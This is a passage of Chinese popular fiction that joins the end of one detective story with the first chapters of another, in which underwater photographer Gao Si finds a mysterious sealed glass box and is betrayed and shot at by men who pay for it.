但是我将录音带播放了两遍后,我就知道一定有问题,所以我立即带人到你的办公室去.我才一到,汪权的手下便来了,我们没有花多少工夫,他就表示愿和警方合作.
高斯,你其实也可以参加警方的工作.」高斯笑了起来,李玉芳和警员及时赶到救了他.但李玉芳之所以会来,却还是由于那个电话──那个他当着汪权的面所打的电话.汪权是吩咐他打电话通知他的女秘书,立时会有人来办公室从他的文件柜中取照片的.但是高斯所拨的号码,却并不是他办公室的电话号码,而是警官李玉芳的电话号码!
高斯松了一口气,道:「我当时放下电话时,心中仍不免十分担忧.我想,你会不会当我是喝醉了酒,根本不睬我呢?如果你根本不理我,那么,我就一定要死在汪权枪下了.」「不会的,我们宁愿空走一次,也不会放过任何一个线索的.」李玉芳也笑了起来.她虽然全副武装,但是笑起来仍然十分妩媚.
高斯离开了那幢大厦,当他走出大厦时,黑厢车才到.汪权的身子已被覆在白布下.这次,汪权是真的死了,自然也不会再拍到他的照片了.
全文完
水中宝盒
第一章
高斯开始对海底摄影发生兴趣,这是最近的事.也正因为他时常在海底摄影,所以他才发现那只奇怪的玻璃宝盒的.
如果不是对水中摄影发生了兴趣,高斯也决计想不到海底是如此美丽和宁静.要不是根本没有世外桃源的话,不然,海底真可算是世外桃源了.
现代潜水的设备,可以使潜水者在海底,躺在洁白的海沙下,任由大大小小的寄居蟹在身上爬来爬去.各种美丽的小鱼,会将潜水者的头发当作是和牠共生的海葵,在你的头边钻来钻去.有时还可以看到,形状怪异得不可思议的海中生物,牠们大多数美丽得像花朵一样.
高斯最有兴趣的是猎取各种水母的动态,他在这方面已经有了很好的成绩.他拍摄到七百多尺有关「葡萄牙战舰」的各组部份成套活动的影片,被当地的生物学会誉为最佳的生物摄影.那天的天气十分好,海底明澈纯净得像是一整块淡青色的玻璃.
高斯伏在海中,等待着机会.
突然,他看到一只水母,在海中抖动着,飘了过来,那是一只十分罕见的钟形水母.
这种水母无异是水母中最美丽的,牠有着像玻璃般透明的钟形身体,和许多条粉红色的触须,以及极其明艳红色的裙边.
高斯立即举起了海底摄影机,迎了上去,慢慢在接近那只钟形水母,跟随着牠,一直到高斯拍完了一百五十尺胶卷,那水母也飘远了,他才兴高采烈地浮上水面,登上了快艇回家去.他一回到市区,立即将胶卷交给他的助手冲洗,他则到处向和他有同样嗜好的人报告这个好消息,约定了他们第二天一起来看他的成绩.
第二天,胶卷已冲洗出来了,高斯自然要自己先放映一遍.他拉上了家中的窗帘,将胶卷盒放进放映机中,在轻微的「沙沙」声中,那美丽的钟形水母,在白墙下游动着,看得高斯眉飞色舞.但是在突然间,他看到了一件十分奇怪的东西,他连忙按了停止键.这时高斯从整个画面看到,那只钟形水母在画面右下角,而使得高斯感到惊愕,以致按下了停止键的东西,却在左下角.
昨天,高斯在拍摄那卷影片的时候,他全副精神都集中在那只水母上,根本没有看到画面所出现的东西,而刚才在电影放映中,他也未曾注意到有甚么特别的东西出现.
直到现在,画面固定下来后,高斯才看清楚,在一簇珊瑚之下,有一个玻璃盒.
其实海中出现一个玻璃盒,根本没有甚么稀奇的,但问题是在那玻璃盒下,用十字缚法缚着一条很细的钢炼,钢炼的一端,坠着一块铅,所以那玻璃盒之所以令人感到奇怪,是因为海水并没有浸入盒中.如果海水进入了盒中,不必坠铅,它也会沉入水底.而且,若是盒里盒外全是海水,一只玻璃盒是很难被看得出来的.
那个玻璃盒是空的,无色的空间和碧蓝的海水不同,所以看来像是一块大约有一尺长、半尺宽高的水晶.高斯之所以肯定那是一个空的玻璃盒,而不是一块大水晶,是因为若是一块水晶的话,它会自然沉在水中,根本不需要用一块铅来使它沉在海底的.
高斯向那个玻璃盒看了好一会,却无法了解那玻璃盒是甚么东西,他觉得十分奇怪,他是一个好奇心十分强烈的人,也因此,他时时置身在许多稀奇古怪的事情中.
此时,他肯定那个沉在海底的玻璃盒,一定有名堂.
他并没有花多少时间,就放完了那一卷影片.当他约来的朋友全到了之后,他再将影片放映一遍,自然是好评如潮,而且,并没有人注意到那个玻璃盒.这是意料之中的事,因为大家都是第一次看到那只美丽的水母,一定不会再去注意到别的东西.
高斯送走了参观者后,又驱车到码头,登上他的小游艇.本来,他今天是准备到不同的地点去等候机会的,但是因为有那个玻璃盒的原故,所以高斯又回到昨天的地方.他想去看一看那个玻璃盒,究竟有着甚么,当他的小游艇在昨天的地方停下来之后,他带上了潜水设备.
正当他提起摄影机,准备下水之际,忽然一阵马达声传来,一只快艇冲了过来.
高斯不禁皱了皱眉,这里的海水并不深,十分清澈,快艇这样飞掠而过,不但会使海底下的生物惊走,而且还会在海面上留下一层油污,他今天的猎影计划,就不能实现了.
而更令他心中不高兴的是,那艘快艇,竟是直向着他的快艇驶来的,驶到距离他的小快艇约有十码处,便开始打转,绕了一个圈子,才停下来.
高斯看到快艇上有两男一女,那两个男的肌肉结实得和豹子一样,而那女的,则穿着两件式泳衣,十分艳丽,其中一个男的,向高斯挥了挥手,道:「嗨,你是来潜水的么?」「我是来摄影的.」高斯用不十分高兴的语调回答.如果那快艇上的几个人是有知识的,那他们就应该知道,他们的行为,已妨碍了别人,就应该静静地离去才是.
但是他们却没有离去的意思,反问道:「你时常在这一带的水底活动么?」高斯更不高兴,拿这样的问题去问一个陌生人,这样的事,只有没教养的人才会做得出来.高斯认为和没有教养的人说话,等于是折磨自己,所以他根本不加理睬,戴上了护目镜,准备咬下氧气管.但是艇上的另一个男子却又大声道:「如果你是常在这里活动的话,我们想问你一件事.」高斯拉下了护目镜,望定了那人,那人道:「前天,有一艘游船在这里发生了一点意外,当时你是不是在附近?」高斯摇头道:「对不起,我不知道这件事.」那快艇上的三个人,互望了一眼,那美丽的女郎笑盈盈的道:「先生,我们想在这一带的海底进行……一项科学研究工作,我们是市政局水产研究所的人员,我们的工作不想别人打扰.先生,你应该不介意到另外一处海域去猎影吧?」那女郎说完了之后,露出了一个十分动人的微笑来,这是一个令人很难抗拒的微笑.但是高斯的心中,却已立即拒绝那女郎的要求.
他几乎连考虑也不加考虑的原故,第一,那两个男子分明是粗野和没有教养的人,不像是甚么研究人员.第二,高斯也不是傻瓜,他知道并没有一个隶属市政局的甚么「水产研究所」.
高斯只是心中拒绝那女郎的要求,在表面上,他是在考虑.大约半分钟之后,才道:「好的,我明天再来好了.人家告诉我,这一带有十分美丽的黄鲽鱼,我不想错过拍摄它们的机会.」那女郎听后连忙道:「谢谢你,先生.」高斯回到舱中,将他的小游艇驶开去,当他回过头,已看不到他们的快艇时候,他又停了下来.他估计驶出了四分之三里.要在水中潜泳四分之三里,是一件十分吃力的事情,但是高斯已决定这样做,因为他想弄明白那两男一女究竟在海中进行甚么勾当,以致要用那样拙劣的谎言,将他赶走.
他已不准备摄影,只求弄清这个疑问.而且,他已隐隐感到那两男一女的古怪行动,可能和那个古怪的玻璃盒有关.
第二章
他落下了锚,使他的小游艇不致被海流带走.然后,他跃下海中,向着刚才他离开的地方潜泳过去.当然,他并不放弃观察海底环境的机会,他看到了一个大海底礁石的岩洞中,有很多龙虾在进出,他决定过几天来这里拍摄龙虾的纪录片.
他又游过一大片昆布,昆布和灰白的岩石杂在一起,有几尾很大的、青绿色而头下有着褐色硬瘤的石头鱼,和他擦身而过.
他估计快要游到原来的地方之际,他在一簇珊瑚后面,已隐约可以看到有三个人,正在前面游来游去.高斯利用珊瑚礁、岩石和海草的掩护,慢慢向前接近,而不使对方看到他.
等到高斯来到安全距离时他才停下来,这时他躲在一丛岩石之后,向前看去,他可以看到那簇珊瑚礁.高斯的心中一动,这就是那个古怪玻璃盒所在的珊瑚礁.然而,那个玻璃盒却不在了.
那个玻璃盒难道已给这三个人取走了么?高斯假定那两男一女和玻璃盒有关系.
但显然不是,因为那三个人还在水中游动着,拨开每一丛海草,分明是还在寻找着甚么.
高斯仔细留意着海底的细沙,乍一看来,那些幼细的沙粒是静止不动的.但是,高斯已有相当的潜水经验,他知道,海底的细沙是缓慢地在移动,海沙移动的方向,表示海中暗流移动的方向.那玻璃盒虽然坠着铅块,但是被海中暗流带着移动,也不是甚么稀奇的事.
高斯察看了几分钟,他的心头跳了起来,根据海中暗流的方向,那玻璃盒如果被暗流带走的话,应该是来到他现在藉以遮住身形的岩石附近.高斯连忙低下头去,在那堆岩石的许多洞中摸索着、寻找着,不多久,他就摸到了那链子,他拉着链子,将那个玻璃盒拖了出来.
高斯将链子勾在手腕上,拖着那个盒子,慢慢地游开去,那两男一女曾说有一艘游艇在这里发生过一件意外,高斯想象那玻璃盒就和这件意外有关.
然而,高斯对于自己的想象,却并不热烈,因为这时,他看得十分清楚,那玻璃盒是密封的,而且也是空的,盒中的确空无一物,只是一个空盒.
如果不是刚才那两个男人如此粗野,而那女郎又用拙劣的谎言骗他的话,他一定会将这玻璃盒交给那两男一女的了.
但这时,高斯却存心和那两男一女开一个玩笑,他要那两男一女遭受一些挫折,使他们没有那么容易找到这个玻璃盒.
高斯并不是一个喜欢恶作剧的人,但是一个空玻璃盒,在高斯想来,找得到或找不到,都是无关紧要的事情,自然可以跟那三人开个玩笑.
他带着那个玻璃盒,游出了七八十码,在一大丛珊瑚礁前停下来,将那个玻璃盒塞到珊瑚礁下面,再堆上沙.这样,如果不是十分小心的话,根本是找不到这个玻璃盒.
他藏好了这个玻璃盒后,便继续向前游去,游到他的游艇旁,也不再多逗留,发动了引擎,驶回了市区.
高斯的事务十分忙,在那件事后,他几乎早已忘记了.在那天之后,他也曾好几次去海底猎影,但再也没有遇见那两男一女.
等到他被人问及那个玻璃盒时,已是一个多月之后的事情了.
那天,他正在办公室中整理一些商务宣传用的照片,有两个穿得十分高贵的中年绅士,推门走了进来,向他的女秘书说要见高斯先生.
高斯礼貌的与他们握手后,并请他们坐下,道:「两位有甚么指教?」那雨个中年绅士其中的一个,用一种十分优雅的语调道:「高先生,我们是从布鲁塞尔来的──在看了你那套有关钟形水母的纪录片之后就来拜访你.」高斯十分高兴,因为他拍的那套纪录片,获得比利时一个海洋生物学会使用作公开的放映.作为一个摄影家来说,自己的作品,能被人赏识,自然是一件高兴的事,他也不免客气了几句,道:「哪里,那不算甚么,只不过是偶然的机会而已.」那中年绅士笑着,道:「我们有一个问题想请问高先生的是,在那卷纪录片中,我们看到海底有一个玻璃盒,那个玻璃盒──」高斯皱了皱眉,刚才的那种高兴消失了,原来对方不是为了欣赏他的作品而来,只是为了那个玻璃盒.
然而,那个玻璃盒究竟有甚么了不起呢?那是一个空盒!高斯可以肯定这一点,因为他曾将那个玻璃盒带在身边游出了好几十码.
他的不高兴,明显地反应在他的神态上,他冷冷地道:「是么?」那两个中年绅士互望了一眼,其中一个十分缓慢地道:「高先生,这个玻璃盒子,是我们失去的,在一次意外中失去的,我们曾寻找了好久,都未能将它找回来.
高先生,如果你能指示我们你那段纪录片是在甚么地方拍摄到,等我们找到那玻璃盒的话,我们不会吝啬酬劳的,我们愿意付……一万美金.」高斯陡地呆了一下,失声道:「一万美金?为了一个空的玻璃盒?」那的确是太不可思议了,一个空的玻璃盒,竟有人愿意出一万美金的高价来得到它,而且千里迢迢的专程从北欧赶到这里来!
高斯几乎要疑心那个空的玻璃盒和重要性.
而就在高斯失声惊叫之际,只见那两个中年绅士的脸色变了一变,道:「高先生,你,你已得到了它?」「我?」高斯笑了起来:「一个空盒子,我要来有甚么用?你们真拾得付出一万美金的话,我知道它在哪里,我带你们去找.」那两个中年绅士满面喜悦,道:「我们当然舍得.但是高先生,这一万美金的酬劳,是包括你永远保守秘密在内.」高斯略想了一想,一万美金换取一个空的玻璃盒子,这事情多少有点荒唐,自然也十分古怪?但是其间却不知是否有甚么犯罪的因素存在,可能那个玻璃盒子对他们而言,有甚么特殊的感情因素在内,所以他们才肯出那样的高价.
高斯平时的收入相当好,但是一万美金却也是一个诱惑.有了一万美金,他可以在他游艇底部,装置自动深水海底摄影机,那他就可以拍到更好的海底纪录片了.
所以高斯立即道:「好的.」这两个中年人又互望了一眼,其中一个,立时在上衣口袋取出了一大叠一百元面额的美钞出来,数了五十张给高斯,道:「先付一半,等我们得到了玻璃盒之后,立即再付另一半.」高斯接过了那叠钞票,顺口问了一句:「两位先生是何称呼?」他只不过是随口一问,可是这两个人的神情,却十分紧张,立即道:「你没有必要知道我们的姓名,而且,在这件事之后,你最好将我们完全忘记.」高斯心中虽然觉得十分奇怪,由此更感到这件事似乎越来越神秘了.但是他只是耸耸肩,道:「好,明天上午我们在码头见面,我带你们出海去.」那两人道:「不,现在就去.」「现在就去?」高斯大声抗议,「我手头上有不少工作要做,这些工作──」「这些工作,大约不会使你有一万美金的收入?」那两个中年人截住了他的话.
高斯呆了一下,他无话可说了.那两个人出了这么高的代价找那个玻璃盒,的确是有权要求他立即就去的,他叹了一声,拿一个铜镇纸压住桌上的照片,说:「好,我们立刻就去.」他们三个人,一起出了高斯的办公室,乘坐高斯的车子到游艇停泊的码头.然后,一起登上高斯的小游艇.那天是一个阴天,绝不是出海游玩的好天气,高斯的小游艇驶出港口之际,别的游艇上的人,在向他招手打招呼时,多少带有一点好奇的神色.
第三章
高斯在第一次拍到钟形水母的水域将游艇停好,戴上了潜水设备,那两个中年绅士的神情,显得十分紧张,高斯不得不安慰他们几句,道:「你们放心,那玻璃盒是我亲自放在海底的,一定没有人找得到的.」不料这两人一听,神情更紧张了,道:「你将它藏起来?为甚么你要将它藏起来?」「不为甚么,一个多月之前,有三个人好象是要找玻璃盒,但是,他们对我十分不礼貌,又不曾对我说明,所以我和他们开了一个玩笑.」「你,你没有弄破这盒子吧?」这两个中年绅士在问及这句话时的神情,就像是在问高斯是不是强奸了他的女儿一样.
高斯不禁有点啼笑皆非.「当然没有,我一定会将它好好弄上来的.」「那三个人是甚么样子的人?」「两男一女,那两个男的很粗壮,女的十分美丽,一头棕发,像是个欧亚混血儿.」那两个中年绅士互望了一眼,并没有再出声,但是从他们的神情上看来,他们分明是认识那两男一女的.因为在他们的脸上,有一种恍然的神情.
高斯戴上了护目镜,沉入水中,当他全身都浸在清凉的海水中时,他的头脑也冷静了不少,他一面慢慢向前游,一面再将整件事想一遍,而越想越觉得事情实在十分不寻常.
一开始,当然是偶然,他因为拍摄纪录片而拍到了那个玻璃盒,当他第二次去的时候,那两男一女看来绝不是寻常人,他们在寻找的自然也是那个玻璃盒.然后,便是这两个人出那么高的价钱要找回玻璃盒.
高斯一直向前游着,来到了那丛珊瑚礁前,他用手扒开了海沙,就看到链子,将那个玻璃盒拉了出来.他双手捧着那个玻璃盒,仔细地观察着.那是一个密封的玻璃盒,盒中的确空无一物.
高斯实在觉得莫名其妙,他捧着那玻璃盒向前游着.当他抬起头来,可以看到自己游艇的底部时,他突然想起一个主意来.
他潜向海底,将链子绕在礁石上,又用沙将玻璃盒埋起来,然后,他才浮上水面.
那两个中年绅士显然已等得很急了,所以一看到他浮上水面时,忙道:「那盒子呢?」高斯却笑着道:「那只是一个空盒子,为甚么你们愿意用这么高的价钱来交换它?」那两个中年人怒道:「这是我们的事,先生.」高斯明知他们一定要发怒的,他仍然笑着,道:「我虽然不明白为甚么,但是我却也不是傻子,我想那一定是非常重要的东西,对不?」那两人中的一个道:「这不关你的事,高先生.你收到了那一万美金,然后将这件事忘记,还有比这更容易嫌的钱么?」「你说得对,可是我还想多赚一些.」其中一个已明显地表示了他的怒意,但另一个却向之做了一个手势,阻止他讲话.然后,他问高斯:「那么,你的意思──」「五万美金,怎样?」高斯在提出这个数字之际,他以为对方一定是不会答应自己这个要求的.
然而,出乎意料的,那人竟立刻道:「好的,只要你将那玻璃盒找上来.」高斯不禁发出了一下怪声.五万美金,那决不是一个小数目,很多人工作一生,也未必能得到这么多的钱,而这两个人竟愿意用来换一个玻璃盒.
高斯心中的好奇更加强烈,但是对方既然已一口答应了他的要求,他似乎没有理由不将玻璃盒交给对方了,是以他大声道:「请你等一等,我立刻将那个玻璃盒交给你.」他立时又潜入水中,捧起了那玻璃盒,浮上水面,当他将玻璃盒棒出水面之际,他又看了一眼,在水中或者会看不清楚,但是在水面上,却实在看得再清楚也不遇,那玻璃盒的确是空的!
他举着那玻璃盒,道:「可是这一个?」那两人忙道:「是的!是的!」他们一面答应着,一个已伸手来接,而另一个,却立即伸手入怀,那人手伸进上衣襟中的动作,实在太令人觉得可疑了.高斯陡地一呆,那俯身下来的人,已从高斯的手中,将玻璃盒接了过去,而就在这时,高斯也看到另一个人的手,离开了他的衣襟,而在他手中,已经多了一柄手枪.
高斯如果是到这时才觉出事情不妥的话,那么他一定来不及躲避的了.但是,在那人伸手入怀之际,他便有了警觉,是以那人一拔出手枪来,高斯已经突然向水下,沉了下去.
在他沉下去的时候,他听到了枪声,他拼命向下沉着,当他的身子已可以扬起海底的细沙之际,他看到子弹从水面上射进海水中的奇景.子弹迅速地射进海底,扬起无数股细小的气泡,越向下越大,那颗子弹就像一颗彗星,带着巨大的尾巴一样.
高斯抬头向上看去,他看到海面上起了一阵白花,他的游艇已驶走了.驶走游艇的,自然就是那两个看来像是绅士的中年人.
高斯在水底伏了片刻,才浮上水面,当他浮上水面之后,已经甚么也看不到了,高斯并不发怒.发怒是消耗体力的,而他,必须保持体力,以应付海上的飘流,他可能会很久遇不到人来救他,也可能永远没有人来救他.
他浮在海面上,只苦笑着,如果不是他自己听到了一万美金便心动的话,他又何至于此?
高斯解下背上的氧气筒,那样有利于他身体的浮起,他除了等候有船只经过,来将他救起之外,没有第二个办法.本来是如此美丽,给他无穷乐趣的海洋,这时却像是一座硕大无比的坟墓一样,要将他葬身其中.